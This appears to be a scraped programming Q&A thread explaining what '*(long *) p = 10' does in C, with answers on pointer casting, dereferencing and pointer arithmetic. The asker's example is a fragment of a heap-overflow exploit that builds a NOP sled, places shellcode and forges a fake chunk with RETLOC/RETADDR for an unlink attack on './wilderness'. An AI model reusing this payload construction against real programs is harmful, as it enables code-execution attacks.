Pointer to a casted Pointer?
I've come across pointers to casted pointers (not sure that this is the correct term) in C such as:
*(long *) p = 10; I could never for the life of me understand what it means, or, the other example:
*(void *) NULL,开发者_StackOverflow社区 or *(char *) 0; I just can't wrap my head around it, could someone please explain this to me, and save me from partial brain damage? :)
Thanks
(P.S An example is shown below of such usage)
int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052);
p = payload; memset(p, '\x90', 1052); /* Jump 12 ahead over the trashed word from unlink() */ memcpy(p, "\xeb\x0c", 2); /* We put the shellcode safely away from the possibly corrupted area */ p += 1020 - 64 - sizeof(shellcode); memcpy(p, shellcode, sizeof(shellcode) - 1); /* Set up the prev_size and overflow size fields */ p += sizeof(shellcode) + 64 - 4; *(long *) p = -4; p += 4; *(long *) p = -16; /* Set up the fwd and bck of the fake chunk */ p += 8; *(long *) p = RETLOC - 12; p += 4; *(long *) p = RETADDR; p += 4; *(p) = '\0'; execl("./wilderness", "./wilderness", payload, NULL); }
First break up the statement:
long *q = (long*)p;
*q = 10;
p += 4;
The p argument is of type char*
, you can only read or write 1 byte at a time through that pointer. The cast to long*
creates a pointer through which you can read or write 4 bytes at a time from/to the same address. The assignment writes the bytes 0x00, 0x00, 0x00, 0x0A. The same thing as:
*p = 10;
p++;
*p = 0;
p++;
*p = 0;
p++;
*p = 0;
Depending on byte order. After the assignment, p needs to be incremented by 4 because 4 bytes were written.
This trick is pretty common with buffers of bytes that contain non-byte data.
*(long *) p = -4;
Means: p is a "pointer to a long" and I am trying to assign the value to the memory referenced there. We do this because initially we said p was a char pointer, and we want to change its behavior when accessed.
Putting the * before the (long *) is called "dereferencing" the pointer. It means, as @GrayWizardx says, that you're modifying the value in memory pointed to by the pointer.
codepad.org/iz2TSDfa
This code writes four bytes of data to address zero in memory. It is not common or accepted practice, and is not applicable on a general basis. In other words: black magic.
I am guessing it triggers some sort of processor interrupt.
I advise you learn assembly/the computer architecture this code targets if you want to understand it.
The first star is actually dereferencing the casted pointer. Thus, *(long *) p = 10 means cast p to a pointer to long and assign -4 to the dereferenced location. Compare your examples to *p =10 .
Its the pointer arithmetic, based on the pointer type i.e. whether its char* cPtr or int* nPtr, when you increment cPtr++ will move one byte and nPtr++ would move 4 bytes (assumimg char takes one byte and int takes 4 bytes).
You may have an easier time when you understand the motivation behind your example code.
The code is manipulating 4-byte values, which is why p
is being cast as a long *
. The construct * (long *) p = -4;
allows you to set 4 bytes to 0xFFFFFFFC
with a single assignment. If you left p
as a char *
you'd need four separate assignments, and you'd also need to worry about the endianness of your platform.
So why not simply declare p
as a long *
in the first place? Because the code is using pointer arithmetic to calculate the target addresses: p += sizeof(shellcode) + 64 - 4;
Pointer arithmetic is easy with a char *
because adding 1 to the pointer will advance it to the next byte, just as you would expect. Not so with pointers to other data types! If p
were declared as long *p;
then p += 4
adds 4 * sizeof(long)
to p
.
Why? Because this makes it easy to traverse a list of long
variables:
long sum_of_longs(long vals[], int num) { // 'vals[]' contains 'num' long ints.
long *p; // This pointer traverses the array.
long sum; // Running total.
// Initialize 'p' to the first number in 'vals[]' and
// increment through the array until 'num' reaches 0.
//
// Note that 'p' increases by 4 bytes each time in order
// to advance to the next long.
for (sum=0, p=vals; num > 0; p++, num--)
sum += *p;
return sum;
}
So, in your example, defining p
as a char *
makes it easy to do the pointer arithmetic in terms of bytes, and casting it to a long *
makes the assignments easier.
精彩评论